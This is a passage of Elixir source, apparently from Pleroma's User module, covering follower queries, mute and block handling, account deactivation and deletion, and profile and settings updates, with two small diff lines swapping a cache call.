	@spec get_external_followers(User.t(), pos_integer() \| nil) :: {:ok, list(User.t())}
	def get_external_followers(%User{} = user, page \\ nil) do
	user
	\|> get_followers_query(page)
	\|> User.Query.build(%{external: true})
	\|> Repo.all()
	end

	def get_followers_ids(%User{} = user, page \\ nil) do
	user
	\|> get_followers_query(page)
	\|> select([u], u.id)
	\|> Repo.all()
	end

	@spec get_friends_query(User.t(), pos_integer() \| nil) :: Ecto.Query.t()
	def get_friends_query(%User{} = user, nil) do
	User.Query.build(%{friends: user, deactivated: false})
	end

	def get_friends_query(%User{} = user, page) do
	user
	\|> get_friends_query(nil)
	\|> User.Query.paginate(page, 20)
	end

	@spec get_friends_query(User.t()) :: Ecto.Query.t()
	def get_friends_query(%User{} = user), do: get_friends_query(user, nil)

	def get_friends(%User{} = user, page \\ nil) do
	user
	\|> get_friends_query(page)
	\|> Repo.all()
	end

	def get_friends_ap_ids(%User{} = user) do
	user
	\|> get_friends_query(nil)
	\|> select([u], u.ap_id)
	\|> Repo.all()
	end

	def get_friends_ids(%User{} = user, page \\ nil) do
	user
	\|> get_friends_query(page)
	\|> select([u], u.id)
	\|> Repo.all()
	end

	def increase_note_count(%User{} = user) do
	User
	\|> where(id: ^user.id)
	\|> update([u], inc: [note_count: 1])
	\|> select([u], u)
	\|> Repo.update_all([])
	\|> case do
	{1, [user]} -> set_cache(user)
	_ -> {:error, user}
	end
	end

	def decrease_note_count(%User{} = user) do
	User
	\|> where(id: ^user.id)
	\|> update([u],
	set: [
	note_count: fragment("greatest(0, note_count - 1)")
	]
	)
	\|> select([u], u)
	\|> Repo.update_all([])
	\|> case do
	{1, [user]} -> set_cache(user)
	_ -> {:error, user}
	end
	end

	def update_note_count(%User{} = user, note_count \\ nil) do
	note_count =
	note_count \|\|
	from(
	a in Object,
	where: fragment("?->>'actor' = ? and ?->>'type' = 'Note'", a.data, ^user.ap_id, a.data),
	select: count(a.id)
	)
	\|> Repo.one()

	user
	\|> cast(%{note_count: note_count}, [:note_count])
	\|> update_and_set_cache()
	end

	@spec maybe_fetch_follow_information(User.t()) :: User.t()
	def maybe_fetch_follow_information(user) do
	with {:ok, user} <- fetch_follow_information(user) do
	user
	else
	e ->
	Logger.error("Follower/Following counter update for #{user.ap_id} failed.\n#{inspect(e)}")

	user
	end
	end

	def fetch_follow_information(user) do
	with {:ok, info} <- ActivityPub.fetch_follow_information_for_user(user) do
	user
	\|> follow_information_changeset(info)
	\|> update_and_set_cache()
	end
	end

	defp follow_information_changeset(user, params) do
	user
	\|> cast(params, [
	:hide_followers,
	:hide_follows,
	:follower_count,
	:following_count,
	:hide_followers_count,
	:hide_follows_count
	])
	end

	@spec update_follower_count(User.t()) :: {:ok, User.t()}
	def update_follower_count(%User{} = user) do
	if user.local or !Config.get([:instance, :external_user_synchronization]) do
	follower_count = FollowingRelationship.follower_count(user)

	user
	\|> follow_information_changeset(%{follower_count: follower_count})
	\|> update_and_set_cache
	else
	{:ok, maybe_fetch_follow_information(user)}
	end
	end

	@spec update_following_count(User.t()) :: {:ok, User.t()}
	def update_following_count(%User{local: false} = user) do
	if Config.get([:instance, :external_user_synchronization]) do
	{:ok, maybe_fetch_follow_information(user)}
	else
	{:ok, user}
	end
	end

	def update_following_count(%User{local: true} = user) do
	following_count = FollowingRelationship.following_count(user)

	user
	\|> follow_information_changeset(%{following_count: following_count})
	\|> update_and_set_cache()
	end

	@spec get_users_from_set([String.t()], keyword()) :: [User.t()]
	def get_users_from_set(ap_ids, opts \\ []) do
	local_only = Keyword.get(opts, :local_only, true)
	criteria = %{ap_id: ap_ids, deactivated: false}
	criteria = if local_only, do: Map.put(criteria, :local, true), else: criteria

	User.Query.build(criteria)
	\|> Repo.all()
	end

	@spec get_recipients_from_activity(Activity.t()) :: [User.t()]
	def get_recipients_from_activity(%Activity{recipients: to, actor: actor}) do
	to = [actor \| to]

	query = User.Query.build(%{recipients_from_activity: to, local: true, deactivated: false})

	query
	\|> Repo.all()
	end

	@spec mute(User.t(), User.t(), map()) ::
	{:ok, list(UserRelationship.t())} \| {:error, String.t()}
	def mute(%User{} = muter, %User{} = mutee, params \\ %{}) do
	notifications? = Map.get(params, :notifications, true)
	expires_in = Map.get(params, :expires_in, 0)

	with {:ok, user_mute} <- UserRelationship.create_mute(muter, mutee),
	{:ok, user_notification_mute} <-
	(notifications? && UserRelationship.create_notification_mute(muter, mutee)) \|\|
	{:ok, nil} do
	if expires_in > 0 do
	Pleroma.Workers.MuteExpireWorker.enqueue(
	"unmute_user",
	%{"muter_id" => muter.id, "mutee_id" => mutee.id},
	schedule_in: expires_in
	)
	end

	- Cachex.del(:user_cache, "muted_users_ap_ids:#{muter.ap_id}")
	+ @cachex.del(:user_cache, "muted_users_ap_ids:#{muter.ap_id}")

	{:ok, Enum.filter([user_mute, user_notification_mute], & &1)}
	end
	end

	def unmute(%User{} = muter, %User{} = mutee) do
	with {:ok, user_mute} <- UserRelationship.delete_mute(muter, mutee),
	{:ok, user_notification_mute} <-
	UserRelationship.delete_notification_mute(muter, mutee) do
	- Cachex.del(:user_cache, "muted_users_ap_ids:#{muter.ap_id}")
	+ @cachex.del(:user_cache, "muted_users_ap_ids:#{muter.ap_id}")
	{:ok, [user_mute, user_notification_mute]}
	end
	end

	def unmute(muter_id, mutee_id) do
	with {:muter, %User{} = muter} <- {:muter, User.get_by_id(muter_id)},
	{:mutee, %User{} = mutee} <- {:mutee, User.get_by_id(mutee_id)} do
	unmute(muter, mutee)
	else
	{who, result} = error ->
	Logger.warn(
	"User.unmute/2 failed. #{who}: #{result}, muter_id: #{muter_id}, mutee_id: #{mutee_id}"
	)

	{:error, error}
	end
	end

	def subscribe(%User{} = subscriber, %User{} = target) do
	deny_follow_blocked = Config.get([:user, :deny_follow_blocked])

	if blocks?(target, subscriber) and deny_follow_blocked do
	{:error, "Could not subscribe: #{target.nickname} is blocking you"}
	else
	# Note: the relationship is inverse: subscriber acts as relationship target
	UserRelationship.create_inverse_subscription(target, subscriber)
	end
	end

	def subscribe(%User{} = subscriber, %{ap_id: ap_id}) do
	with %User{} = subscribee <- get_cached_by_ap_id(ap_id) do
	subscribe(subscriber, subscribee)
	end
	end

	def unsubscribe(%User{} = unsubscriber, %User{} = target) do
	# Note: the relationship is inverse: subscriber acts as relationship target
	UserRelationship.delete_inverse_subscription(target, unsubscriber)
	end

	def unsubscribe(%User{} = unsubscriber, %{ap_id: ap_id}) do
	with %User{} = user <- get_cached_by_ap_id(ap_id) do
	unsubscribe(unsubscriber, user)
	end
	end

	def block(%User{} = blocker, %User{} = blocked) do
	# sever any follow relationships to prevent leaks per activitypub (Pleroma issue #213)
	blocker =
	if following?(blocker, blocked) do
	{:ok, blocker, _} = unfollow(blocker, blocked)
	blocker
	else
	blocker
	end

	# clear any requested follows as well
	blocked =
	case CommonAPI.reject_follow_request(blocked, blocker) do
	{:ok, %User{} = updated_blocked} -> updated_blocked
	nil -> blocked
	end

	unsubscribe(blocked, blocker)

	unfollowing_blocked = Config.get([:activitypub, :unfollow_blocked], true)
	if unfollowing_blocked && following?(blocked, blocker), do: unfollow(blocked, blocker)

	{:ok, blocker} = update_follower_count(blocker)
	{:ok, blocker, _} = Participation.mark_all_as_read(blocker, blocked)
	add_to_block(blocker, blocked)
	end

	# helper to handle the block given only an actor's AP id
	def block(%User{} = blocker, %{ap_id: ap_id}) do
	block(blocker, get_cached_by_ap_id(ap_id))
	end

	def unblock(%User{} = blocker, %User{} = blocked) do
	remove_from_block(blocker, blocked)
	end

	# helper to handle the block given only an actor's AP id
	def unblock(%User{} = blocker, %{ap_id: ap_id}) do
	unblock(blocker, get_cached_by_ap_id(ap_id))
	end

	def mutes?(nil, _), do: false
	def mutes?(%User{} = user, %User{} = target), do: mutes_user?(user, target)

	def mutes_user?(%User{} = user, %User{} = target) do
	UserRelationship.mute_exists?(user, target)
	end

	@spec muted_notifications?(User.t() \| nil, User.t() \| map()) :: boolean()
	def muted_notifications?(nil, _), do: false

	def muted_notifications?(%User{} = user, %User{} = target),
	do: UserRelationship.notification_mute_exists?(user, target)

	def blocks?(nil, _), do: false

	def blocks?(%User{} = user, %User{} = target) do
	blocks_user?(user, target) \|\|
	(blocks_domain?(user, target) and not User.following?(user, target))
	end

	def blocks_user?(%User{} = user, %User{} = target) do
	UserRelationship.block_exists?(user, target)
	end

	def blocks_user?(_, _), do: false

	def blocks_domain?(%User{} = user, %User{} = target) do
	domain_blocks = Pleroma.Web.ActivityPub.MRF.subdomains_regex(user.domain_blocks)
	%{host: host} = URI.parse(target.ap_id)
	Pleroma.Web.ActivityPub.MRF.subdomain_match?(domain_blocks, host)
	end

	def blocks_domain?(_, _), do: false

	def subscribed_to?(%User{} = user, %User{} = target) do
	# Note: the relationship is inverse: subscriber acts as relationship target
	UserRelationship.inverse_subscription_exists?(target, user)
	end

	def subscribed_to?(%User{} = user, %{ap_id: ap_id}) do
	with %User{} = target <- get_cached_by_ap_id(ap_id) do
	subscribed_to?(user, target)
	end
	end

	@doc """
	Returns map of outgoing (blocked, muted etc.) relationships' user AP IDs by relation type.
	E.g. `outgoing_relationships_ap_ids(user, [:block])` -> `%{block: ["https://some.site/users/userapid"]}`
	"""
	@spec outgoing_relationships_ap_ids(User.t(), list(atom())) :: %{atom() => list(String.t())}
	def outgoing_relationships_ap_ids(_user, []), do: %{}

	def outgoing_relationships_ap_ids(nil, _relationship_types), do: %{}

	def outgoing_relationships_ap_ids(%User{} = user, relationship_types)
	when is_list(relationship_types) do
	db_result =
	user
	\|> assoc(:outgoing_relationships)
	\|> join(:inner, [user_rel], u in assoc(user_rel, :target))
	\|> where([user_rel, u], user_rel.relationship_type in ^relationship_types)
	\|> select([user_rel, u], [user_rel.relationship_type, fragment("array_agg(?)", u.ap_id)])
	\|> group_by([user_rel, u], user_rel.relationship_type)
	\|> Repo.all()
	\|> Enum.into(%{}, fn [k, v] -> {k, v} end)

	Enum.into(
	relationship_types,
	%{},
	fn rel_type -> {rel_type, db_result[rel_type] \|\| []} end
	)
	end

	def incoming_relationships_ungrouped_ap_ids(user, relationship_types, ap_ids \\ nil)

	def incoming_relationships_ungrouped_ap_ids(_user, [], _ap_ids), do: []

	def incoming_relationships_ungrouped_ap_ids(nil, _relationship_types, _ap_ids), do: []

	def incoming_relationships_ungrouped_ap_ids(%User{} = user, relationship_types, ap_ids)
	when is_list(relationship_types) do
	user
	\|> assoc(:incoming_relationships)
	\|> join(:inner, [user_rel], u in assoc(user_rel, :source))
	\|> where([user_rel, u], user_rel.relationship_type in ^relationship_types)
	\|> maybe_filter_on_ap_id(ap_ids)
	\|> select([user_rel, u], u.ap_id)
	\|> distinct(true)
	\|> Repo.all()
	end

	defp maybe_filter_on_ap_id(query, ap_ids) when is_list(ap_ids) do
	where(query, [user_rel, u], u.ap_id in ^ap_ids)
	end

	defp maybe_filter_on_ap_id(query, _ap_ids), do: query

	def deactivate_async(user, status \\ true) do
	BackgroundWorker.enqueue("deactivate_user", %{"user_id" => user.id, "status" => status})
	end

	def deactivate(user, status \\ true)

	def deactivate(users, status) when is_list(users) do
	Repo.transaction(fn ->
	for user <- users, do: deactivate(user, status)
	end)
	end

	def deactivate(%User{} = user, status) do
	with {:ok, user} <- set_activation_status(user, status) do
	user
	\|> get_followers()
	\|> Enum.filter(& &1.local)
	\|> Enum.each(&set_cache(update_following_count(&1)))

	# Only update local user counts, remote will be update during the next pull.
	user
	\|> get_friends()
	\|> Enum.filter(& &1.local)
	\|> Enum.each(&do_unfollow(user, &1))

	{:ok, user}
	end
	end

	def approve(users) when is_list(users) do
	Repo.transaction(fn ->
	Enum.map(users, fn user ->
	with {:ok, user} <- approve(user), do: user
	end)
	end)
	end

	def approve(%User{approval_pending: true} = user) do
	with chg <- change(user, approval_pending: false),
	{:ok, user} <- update_and_set_cache(chg) do
	post_register_action(user)
	{:ok, user}
	end
	end

	def approve(%User{} = user), do: {:ok, user}

	def confirm(users) when is_list(users) do
	Repo.transaction(fn ->
	Enum.map(users, fn user ->
	with {:ok, user} <- confirm(user), do: user
	end)
	end)
	end

	def confirm(%User{confirmation_pending: true} = user) do
	with chg <- confirmation_changeset(user, need_confirmation: false),
	{:ok, user} <- update_and_set_cache(chg) do
	post_register_action(user)
	{:ok, user}
	end
	end

	def confirm(%User{} = user), do: {:ok, user}

	def update_notification_settings(%User{} = user, settings) do
	user
	\|> cast(%{notification_settings: settings}, [])
	\|> cast_embed(:notification_settings)
	\|> validate_required([:notification_settings])
	\|> update_and_set_cache()
	end

	@spec purge_user_changeset(User.t()) :: Changeset.t()
	def purge_user_changeset(user) do
	# "Right to be forgotten"
	# https://gdpr.eu/right-to-be-forgotten/
	change(user, %{
	bio: "",
	raw_bio: nil,
	email: nil,
	name: nil,
	password_hash: nil,
	keys: nil,
	public_key: nil,
	avatar: %{},
	tags: [],
	last_refreshed_at: nil,
	last_digest_emailed_at: nil,
	banner: %{},
	background: %{},
	note_count: 0,
	follower_count: 0,
	following_count: 0,
	is_locked: false,
	confirmation_pending: false,
	password_reset_pending: false,
	approval_pending: false,
	registration_reason: nil,
	confirmation_token: nil,
	domain_blocks: [],
	deactivated: true,
	ap_enabled: false,
	is_moderator: false,
	is_admin: false,
	mastofe_settings: nil,
	mascot: nil,
	emoji: %{},
	pleroma_settings_store: %{},
	fields: [],
	raw_fields: [],
	is_discoverable: false,
	also_known_as: []
	})
	end

	def delete(users) when is_list(users) do
	for user <- users, do: delete(user)
	end

	def delete(%User{} = user) do
	BackgroundWorker.enqueue("delete_user", %{"user_id" => user.id})
	end

	defp delete_and_invalidate_cache(%User{} = user) do
	invalidate_cache(user)
	Repo.delete(user)
	end

	defp delete_or_deactivate(%User{local: false} = user), do: delete_and_invalidate_cache(user)

	defp delete_or_deactivate(%User{local: true} = user) do
	status = account_status(user)

	case status do
	:confirmation_pending ->
	delete_and_invalidate_cache(user)

	:approval_pending ->
	delete_and_invalidate_cache(user)

	_ ->
	user
	\|> purge_user_changeset()
	\|> update_and_set_cache()
	end
	end

	def perform(:force_password_reset, user), do: force_password_reset(user)

	@spec perform(atom(), User.t()) :: {:ok, User.t()}
	def perform(:delete, %User{} = user) do
	# Remove all relationships
	user
	\|> get_followers()
	\|> Enum.each(fn follower ->
	ActivityPub.unfollow(follower, user)
	unfollow(follower, user)
	end)

	user
	\|> get_friends()
	\|> Enum.each(fn followed ->
	ActivityPub.unfollow(user, followed)
	unfollow(user, followed)
	end)

	delete_user_activities(user)
	delete_notifications_from_user_activities(user)

	delete_outgoing_pending_follow_requests(user)

	delete_or_deactivate(user)
	end

	def perform(:deactivate_async, user, status), do: deactivate(user, status)

	@spec external_users_query() :: Ecto.Query.t()
	def external_users_query do
	User.Query.build(%{
	external: true,
	active: true,
	order_by: :id
	})
	end

	@spec external_users(keyword()) :: [User.t()]
	def external_users(opts \\ []) do
	query =
	external_users_query()
	\|> select([u], struct(u, [:id, :ap_id]))

	query =
	if opts[:max_id],
	do: where(query, [u], u.id > ^opts[:max_id]),
	else: query

	query =
	if opts[:limit],
	do: limit(query, ^opts[:limit]),
	else: query

	Repo.all(query)
	end

	def delete_notifications_from_user_activities(%User{ap_id: ap_id}) do
	Notification
	\|> join(:inner, [n], activity in assoc(n, :activity))
	\|> where([n, a], fragment("? = ?", a.actor, ^ap_id))
	\|> Repo.delete_all()
	end

	def delete_user_activities(%User{ap_id: ap_id} = user) do
	ap_id
	\|> Activity.Queries.by_actor()
	\|> Repo.chunk_stream(50, :batches)
	\|> Stream.each(fn activities ->
	Enum.each(activities, fn activity -> delete_activity(activity, user) end)
	end)
	\|> Stream.run()
	end

	defp delete_activity(%{data: %{"type" => "Create", "object" => object}} = activity, user) do
	with {_, %Object{}} <- {:find_object, Object.get_by_ap_id(object)},
	{:ok, delete_data, _} <- Builder.delete(user, object) do
	Pipeline.common_pipeline(delete_data, local: user.local)
	else
	{:find_object, nil} ->
	# We have the create activity, but not the object, it was probably pruned.
	# Insert a tombstone and try again
	with {:ok, tombstone_data, _} <- Builder.tombstone(user.ap_id, object),
	{:ok, _tombstone} <- Object.create(tombstone_data) do
	delete_activity(activity, user)
	end

	e ->
	Logger.error("Could not delete #{object} created by #{activity.data["ap_id"]}")
	Logger.error("Error: #{inspect(e)}")
	end
	end

	defp delete_activity(%{data: %{"type" => type}} = activity, user)
	when type in ["Like", "Announce"] do
	{:ok, undo, _} = Builder.undo(user, activity)
	Pipeline.common_pipeline(undo, local: user.local)
	end

	defp delete_activity(_activity, _user), do: "Doing nothing"

	defp delete_outgoing_pending_follow_requests(user) do
	user
	\|> FollowingRelationship.outgoing_pending_follow_requests_query()
	\|> Repo.delete_all()
	end

	def html_filter_policy(%User{no_rich_text: true}) do
	Pleroma.HTML.Scrubber.TwitterText
	end

	def html_filter_policy(_), do: Config.get([:markup, :scrub_policy])

	def fetch_by_ap_id(ap_id), do: ActivityPub.make_user_from_ap_id(ap_id)

	def get_or_fetch_by_ap_id(ap_id) do
	cached_user = get_cached_by_ap_id(ap_id)

	maybe_fetched_user = needs_update?(cached_user) && fetch_by_ap_id(ap_id)

	case {cached_user, maybe_fetched_user} do
	{_, {:ok, %User{} = user}} ->
	{:ok, user}

	{%User{} = user, _} ->
	{:ok, user}

	_ ->
	{:error, :not_found}
	end
	end

	@doc """
	Creates an internal service actor by URI if missing.
	Optionally takes nickname for addressing.
	"""
	@spec get_or_create_service_actor_by_ap_id(String.t(), String.t()) :: User.t() \| nil
	def get_or_create_service_actor_by_ap_id(uri, nickname) do
	{_, user} =
	case get_cached_by_ap_id(uri) do
	nil ->
	with {:error, %{errors: errors}} <- create_service_actor(uri, nickname) do
	Logger.error("Cannot create service actor: #{uri}/.\n#{inspect(errors)}")
	{:error, nil}
	end

	%User{invisible: false} = user ->
	set_invisible(user)

	user ->
	{:ok, user}
	end

	user
	end

	@spec set_invisible(User.t()) :: {:ok, User.t()}
	defp set_invisible(user) do
	user
	\|> change(%{invisible: true})
	\|> update_and_set_cache()
	end

	@spec create_service_actor(String.t(), String.t()) ::
	{:ok, User.t()} \| {:error, Ecto.Changeset.t()}
	defp create_service_actor(uri, nickname) do
	%User{
	invisible: true,
	local: true,
	ap_id: uri,
	nickname: nickname,
	follower_address: uri <> "/followers"
	}
	\|> change
	\|> unique_constraint(:nickname)
	\|> Repo.insert()
	\|> set_cache()
	end

	def public_key(%{public_key: public_key_pem}) when is_binary(public_key_pem) do
	key =
	public_key_pem
	\|> :public_key.pem_decode()
	\|> hd()
	\|> :public_key.pem_entry_decode()

	{:ok, key}
	end

	def public_key(_), do: {:error, "key not found"}

	def get_public_key_for_ap_id(ap_id) do
	with {:ok, %User{} = user} <- get_or_fetch_by_ap_id(ap_id),
	{:ok, public_key} <- public_key(user) do
	{:ok, public_key}
	else
	_ -> :error
	end
	end

	def ap_enabled?(%User{local: true}), do: true
	def ap_enabled?(%User{ap_enabled: ap_enabled}), do: ap_enabled
	def ap_enabled?(_), do: false

	@doc "Gets or fetch a user by uri or nickname."
	@spec get_or_fetch(String.t()) :: {:ok, User.t()} \| {:error, String.t()}
	def get_or_fetch("http" <> _host = uri), do: get_or_fetch_by_ap_id(uri)
	def get_or_fetch(nickname), do: get_or_fetch_by_nickname(nickname)

	# wait a period of time and return newest version of the User structs
	# this is because we have synchronous follow APIs and need to simulate them
	# with an async handshake
	def wait_and_refresh(_, %User{local: true} = a, %User{local: true} = b) do
	with %User{} = a <- get_cached_by_id(a.id),
	%User{} = b <- get_cached_by_id(b.id) do
	{:ok, a, b}
	else
	nil -> :error
	end
	end

	def wait_and_refresh(timeout, %User{} = a, %User{} = b) do
	with :ok <- :timer.sleep(timeout),
	%User{} = a <- get_cached_by_id(a.id),
	%User{} = b <- get_cached_by_id(b.id) do
	{:ok, a, b}
	else
	nil -> :error
	end
	end

	def parse_bio(bio) when is_binary(bio) and bio != "" do
	bio
	\|> CommonUtils.format_input("text/plain", mentions_format: :full)
	\|> elem(0)
	end

	def parse_bio(_), do: ""

	def parse_bio(bio, user) when is_binary(bio) and bio != "" do
	# TODO: get profile URLs other than user.ap_id
	profile_urls = [user.ap_id]

	bio
	\|> CommonUtils.format_input("text/plain",
	mentions_format: :full,
	rel: &RelMe.maybe_put_rel_me(&1, profile_urls)
	)
	\|> elem(0)
	end

	def parse_bio(_, _), do: ""

	def tag(user_identifiers, tags) when is_list(user_identifiers) do
	Repo.transaction(fn ->
	for user_identifier <- user_identifiers, do: tag(user_identifier, tags)
	end)
	end

	def tag(nickname, tags) when is_binary(nickname),
	do: tag(get_by_nickname(nickname), tags)

	def tag(%User{} = user, tags),
	do: update_tags(user, Enum.uniq((user.tags \|\| []) ++ normalize_tags(tags)))

	def untag(user_identifiers, tags) when is_list(user_identifiers) do
	Repo.transaction(fn ->
	for user_identifier <- user_identifiers, do: untag(user_identifier, tags)
	end)
	end

	def untag(nickname, tags) when is_binary(nickname),
	do: untag(get_by_nickname(nickname), tags)

	def untag(%User{} = user, tags),
	do: update_tags(user, (user.tags \|\| []) -- normalize_tags(tags))

	defp update_tags(%User{} = user, new_tags) do
	{:ok, updated_user} =
	user
	\|> change(%{tags: new_tags})
	\|> update_and_set_cache()

	updated_user
	end

	defp normalize_tags(tags) do
	[tags]
	\|> List.flatten()
	\|> Enum.map(&String.downcase/1)
	end

	defp local_nickname_regex do
	if Config.get([:instance, :extended_nickname_format]) do
	@extended_local_nickname_regex
	else
	@strict_local_nickname_regex
	end
	end

	def local_nickname(nickname_or_mention) do
	nickname_or_mention
	\|> full_nickname()
	\|> String.split("@")
	\|> hd()
	end

	def full_nickname(nickname_or_mention),
	do: String.trim_leading(nickname_or_mention, "@")

	def error_user(ap_id) do
	%User{
	name: ap_id,
	ap_id: ap_id,
	nickname: "erroruser@example.com",
	inserted_at: NaiveDateTime.utc_now()
	}
	end

	@spec all_superusers() :: [User.t()]
	def all_superusers do
	User.Query.build(%{super_users: true, local: true, deactivated: false})
	\|> Repo.all()
	end

	def muting_reblogs?(%User{} = user, %User{} = target) do
	UserRelationship.reblog_mute_exists?(user, target)
	end

	def showing_reblogs?(%User{} = user, %User{} = target) do
	not muting_reblogs?(user, target)
	end

	@doc """
	The function returns a query to get users with no activity for given interval of days.
	Inactive users are those who didn't read any notification, or had any activity where
	the user is the activity's actor, during `inactivity_threshold` days.
	Deactivated users will not appear in this list.

	## Examples

	iex> Pleroma.User.list_inactive_users()
	%Ecto.Query{}
	"""
	@spec list_inactive_users_query(integer()) :: Ecto.Query.t()
	def list_inactive_users_query(inactivity_threshold \\ 7) do
	negative_inactivity_threshold = -inactivity_threshold
	now = NaiveDateTime.truncate(NaiveDateTime.utc_now(), :second)
	# Subqueries are not supported in `where` clauses, join gets too complicated.
	has_read_notifications =
	from(n in Pleroma.Notification,
	where: n.seen == true,
	group_by: n.id,
	having: max(n.updated_at) > datetime_add(^now, ^negative_inactivity_threshold, "day"),
	select: n.user_id
	)
	\|> Pleroma.Repo.all()

	from(u in Pleroma.User,
	left_join: a in Pleroma.Activity,
	on: u.ap_id == a.actor,
	where: not is_nil(u.nickname),
	where: u.deactivated != ^true,
	where: u.id not in ^has_read_notifications,
	group_by: u.id,
	having:
	max(a.inserted_at) < datetime_add(^now, ^negative_inactivity_threshold, "day") or
	is_nil(max(a.inserted_at))
	)
	end

	@doc """
	Enable or disable email notifications for user

	## Examples

	iex> Pleroma.User.switch_email_notifications(Pleroma.User{email_notifications: %{"digest" => false}}, "digest", true)
	Pleroma.User{email_notifications: %{"digest" => true}}

	iex> Pleroma.User.switch_email_notifications(Pleroma.User{email_notifications: %{"digest" => true}}, "digest", false)
	Pleroma.User{email_notifications: %{"digest" => false}}
	"""
	@spec switch_email_notifications(t(), String.t(), boolean()) ::
	{:ok, t()} \| {:error, Ecto.Changeset.t()}
	def switch_email_notifications(user, type, status) do
	User.update_email_notifications(user, %{type => status})
	end

	@doc """
	Set `last_digest_emailed_at` value for the user to current time
	"""
	@spec touch_last_digest_emailed_at(t()) :: t()
	def touch_last_digest_emailed_at(user) do
	now = NaiveDateTime.truncate(NaiveDateTime.utc_now(), :second)

	{:ok, updated_user} =
	user
	\|> change(%{last_digest_emailed_at: now})
	\|> update_and_set_cache()

	updated_user
	end

	@spec need_confirmation(User.t(), boolean()) :: {:ok, User.t()} \| {:error, Changeset.t()}
	def need_confirmation(%User{} = user, bool) do
	user
	\|> confirmation_changeset(need_confirmation: bool)
	\|> update_and_set_cache()
	end

	def get_mascot(%{mascot: %{} = mascot}) when not is_nil(mascot) do
	mascot
	end

	def get_mascot(%{mascot: mascot}) when is_nil(mascot) do
	# use instance-default
	config = Config.get([:assets, :mascots])
	default_mascot = Config.get([:assets, :default_mascot])
	mascot = Keyword.get(config, default_mascot)

	%{
	"id" => "default-mascot",
	"url" => mascot[:url],
	"preview_url" => mascot[:url],
	"pleroma" => %{
	"mime_type" => mascot[:mime_type]
	}
	}
	end

	def ensure_keys_present(%{keys: keys} = user) when not is_nil(keys), do: {:ok, user}

	def ensure_keys_present(%User{} = user) do
	with {:ok, pem} <- Keys.generate_rsa_pem() do
	user
	\|> cast(%{keys: pem}, [:keys])
	\|> validate_required([:keys])
	\|> update_and_set_cache()
	end
	end

	def get_ap_ids_by_nicknames(nicknames) do
	from(u in User,
	where: u.nickname in ^nicknames,
	select: u.ap_id
	)
	\|> Repo.all()
	end

	defp put_password_hash(
	%Ecto.Changeset{valid?: true, changes: %{password: password}} = changeset
	) do
	change(changeset, password_hash: Pbkdf2.hash_pwd_salt(password))
	end

	defp put_password_hash(changeset), do: changeset

	def is_internal_user?(%User{nickname: nil}), do: true
	def is_internal_user?(%User{local: true, nickname: "internal." <> _}), do: true
	def is_internal_user?(_), do: false

	# A hack because user delete activities have a fake id for whatever reason
	# TODO: Get rid of this
	def get_delivered_users_by_object_id("pleroma:fake_object_id"), do: []

	def get_delivered_users_by_object_id(object_id) do
	from(u in User,
	inner_join: delivery in assoc(u, :deliveries),
	where: delivery.object_id == ^object_id
	)
	\|> Repo.all()
	end

	def change_email(user, email) do
	user
	\|> cast(%{email: email}, [:email])
	\|> validate_required([:email])
	\|> unique_constraint(:email)
	\|> validate_format(:email, @email_regex)
	\|> update_and_set_cache()
	end

	# Internal function; public one is `deactivate/2`
	defp set_activation_status(user, deactivated) do
	user
	\|> cast(%{deactivated: deactivated}, [:deactivated])
	\|> update_and_set_cache()
	end

	def update_banner(user, banner) do
	user
	\|> cast(%{banner: banner}, [:banner])
	\|> update_and_set_cache()
	end

	def update_background(user, background) do
	user
	\|> cast(%{background: background}, [:background])
	\|> update_and_set_cache()
	end

	def roles(%{is_moderator: is_moderator, is_admin: is_admin}) do
	%{
	admin: is_admin,
	moderator: is_moderator
	}
	end

	def validate_fields(changeset, remote? \\ false) do
	limit_name = if remote?, do: :max_remote_account_fields, else: :max_account_fields
	limit = Config.get([:instance, limit_name], 0)

	changeset
	\|> validate_length(:fields, max: limit)
	\|> validate_change(:fields, fn :fields, fields ->
	if Enum.all?(fields, &valid_field?/1) do
	[]
	else
	[fields: "invalid"]
	end
	end)
	end

	defp valid_field?(%{"name" => name, "value" => value}) do
	name_limit = Config.get([:instance, :account_field_name_length], 255)
	value_limit = Config.get([:instance, :account_field_value_length], 255)

	is_binary(name) && is_binary(value) && String.length(name) <= name_limit &&
	String.length(value) <= value_limit
	end

	defp valid_field?(_), do: false

	defp truncate_field(%{"name" => name, "value" => value}) do
	{name, _chopped} =
	String.split_at(name, Config.get([:instance, :account_field_name_length], 255))

	{value, _chopped} =
	String.split_at(value, Config.get([:instance, :account_field_value_length], 255))

	%{"name" => name, "value" => value}
	end

	def admin_api_update(user, params) do
	user
	\|> cast(params, [
	:is_moderator,
	:is_admin,
	:show_role
	])
	\|> update_and_set_cache()
	end

	@doc "Signs user out of all applications"
	def global_sign_out(user) do
	OAuth.Authorization.delete_user_authorizations(user)
	OAuth.Token.delete_user_tokens(user)
	end

	def mascot_update(user, url) do
	user
	\|> cast(%{mascot: url}, [:mascot])
	\|> validate_required([:mascot])
	\|> update_and_set_cache()
	end

	def mastodon_settings_update(user, settings) do
	user
	\|> cast(%{mastofe_settings: settings}, [:mastofe_settings])
	\|> validate_required([:mastofe_settings])
	\|> update_and_set_cache()
	end

	@spec confirmation_changeset(User.t(), keyword()) :: Changeset.t()
	def confirmation_changeset(user, need_confirmation: need_confirmation?) do
	params =
	if need_confirmation? do
	%{
	confirmation_pending: true,
	confirmation_token: :crypto.strong_rand_bytes(32) \|> Base.url_encode64()
	}
	else
	%{
	confirmation_pending: false,
	confirmation_token: nil
	}
	end

	cast(user, params, [:confirmation_pending, :confirmation_token])
	end

	@spec approval_changeset(User.t(), keyword()) :: Changeset.t()
	def approval_changeset(user, need_approval: need_approval?) do
	params = if need_approval?, do: %{approval_pending: true}, else: %{approval_pending: false}
	cast(user, params, [:approval_pending])
	end

	def add_pinnned_activity(user, %Pleroma.Activity{id: id}) do
	if id not in user.pinned_activities do
	max_pinned_statuses = Config.get([:instance, :max_pinned_statuses], 0)
	params = %{pinned_activities: user.pinned_activities ++ [id]}

	# if pinned activity was scheduled for deletion, we remove job
	if expiration = Pleroma.Workers.PurgeExpiredActivity.get_expiration(id) do
	Oban.cancel_job(expiration.id)
	end

	user
	\|> cast(params, [:pinned_activities])
	\|> validate_length(:pinned_activities,
	max: max_pinned_statuses,
	message: "You have already pinned the maximum number of statuses"
	)
	else
	change(user)
	end
	\|> update_and_set_cache()
	end

	def remove_pinnned_activity(user, %Pleroma.Activity{id: id, data: data}) do
	params = %{pinned_activities: List.delete(user.pinned_activities, id)}

	# if pinned activity was scheduled for deletion, we reschedule it for deletion
	if data["expires_at"] do
	# MRF.ActivityExpirationPolicy used UTC timestamps for expires_at in original implementation
	{:ok, expires_at} =
